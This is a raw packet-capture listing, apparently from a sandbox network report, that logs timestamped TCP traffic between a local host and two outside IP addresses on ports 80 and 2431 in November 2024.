                                                                                                                                                                Nov 28, 2024 11:02:22.838177919 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.838213921 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.838805914 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.838982105 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.839040041 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.839757919 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.839771032 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.839837074 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.840426922 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.840734005 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.840795994 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.841253042 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.841475010 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.841721058 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.842108965 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.842526913 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.842566013 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.842906952 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.843209028 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.843281984 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.843758106 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.843863964 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.844326019 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.844788074 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.845139980 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.845180035 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.845412016 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.845426083 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.845623970 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.846231937 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.846724987 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.846771955 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.847021103 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.847533941 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.847596884 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.848081112 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.848093987 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.848154068 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.848634958 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.849502087 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.849518061 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.849529028 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.849546909 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.849698067 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.850347042 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.851186037 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.851198912 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.851212978 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.851227999 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.851989031 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.852040052 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.852190018 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.852718115 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.852761030 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.853228092 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.853564024 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.853600979 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.853677988 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.854382992 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.854559898 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.854852915 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.855212927 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.855262995 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.856034994 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.856048107 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.856089115 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.856106997 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.856848001 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.856894016 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.857681036 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.857693911 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.857739925 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.857757092 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.858607054 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.858653069 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.858659983 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.859307051 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.859394073 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.860148907 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.860165119 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.860176086 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.860199928 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.860938072 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.860994101 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.861001968 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.861782074 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.861819029 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.861835003 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.862636089 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.862678051 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.863127947 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.863441944 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.863480091 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.863522053 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.864365101 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.864407063 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.864677906 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.865134954 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.865173101 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.865622044 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.865895987 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.865982056 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.866000891 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.866918087 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.866930962 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.867129087 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.867610931 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.868339062 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.868395090 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.868431091 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.868443012 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.868489981 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.869352102 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.869831085 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.869868040 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.870022058 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.870033979 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.870107889 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.870824099 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.870917082 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.871110916 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.871593952 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.871901035 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.871939898 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.872431040 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.872823000 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.872864962 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.873222113 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.873519897 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.873560905 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.897697926 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.898380995 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.898431063 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.899604082 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.899946928 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.899986029 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.903486013 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.904195070 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.904234886 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.907417059 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.907586098 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.907624960 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.911144972 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.911757946 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.911798000 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.914952993 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.915864944 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.915905952 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.918617010 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.918728113 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.918768883 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.922185898 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.922259092 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.922296047 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.925652027 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.925729036 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.925769091 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.929147959 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.929944992 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.930041075 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.932636976 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.932769060 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.932806015 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.936117887 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.936563969 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.936630011 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.939582109 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.939603090 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.939712048 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.943067074 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.944343090 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.944375038 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.946568012 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.947577953 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.947614908 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.948496103 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.948609114 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.948694944 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.950277090 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.950371027 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.950412989 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.952157021 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.952236891 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.952272892 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.953986883 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.954152107 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.954190969 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.956060886 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.956847906 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.956907034 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.957802057 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.957967043 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.958003044 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.959592104 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.959631920 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.959670067 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.961429119 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.961515903 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.961553097 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.963344097 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.963460922 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.963504076 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.965198040 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.965347052 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.965390921 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:22.967180014 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.967506886 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.967547894 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.032099962 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.032123089 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.032200098 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.032596111 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.033374071 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.033493996 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.033505917 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.033523083 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.033811092 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.034080982 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.034450054 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.034559011 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.034621000 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.035424948 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.035438061 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.035751104 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.035990953 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.036037922 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.036273956 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.037051916 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.037128925 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.037204981 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.037597895 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.037643909 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.037699938 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.038799047 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.038816929 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.039223909 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.039227009 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.039264917 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.039601088 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.040116072 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.040251970 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.040268898 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.040932894 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.040977001 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.041546106 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.042287111 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.042299986 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.042335033 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.043250084 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.043673992 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.043757915 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.043823004 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.044152021 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.044193983 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.044300079 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.044312954 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.044401884 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.045131922 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.045495033 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.045537949 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.045875072 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.046092987 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.046205997 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.046761036 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.046941042 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.046983957 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.047530890 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.047547102 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.047939062 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.048343897 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.049135923 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.049149036 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.049211979 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.049273014 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.049314022 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.050048113 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.050179958 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.050240993 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.050792933 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.051137924 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.051182985 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.051721096 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.052244902 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.052396059 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.052417040 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.052527905 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.053061962 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.053448915 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.053462982 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.053515911 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.054044008 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.054935932 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.054949999 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.054994106 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.055017948 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.055212975 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.055685043 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.055879116 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.055922985 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:23.056595087 CET8049178172.232.175.166192.168.2.22
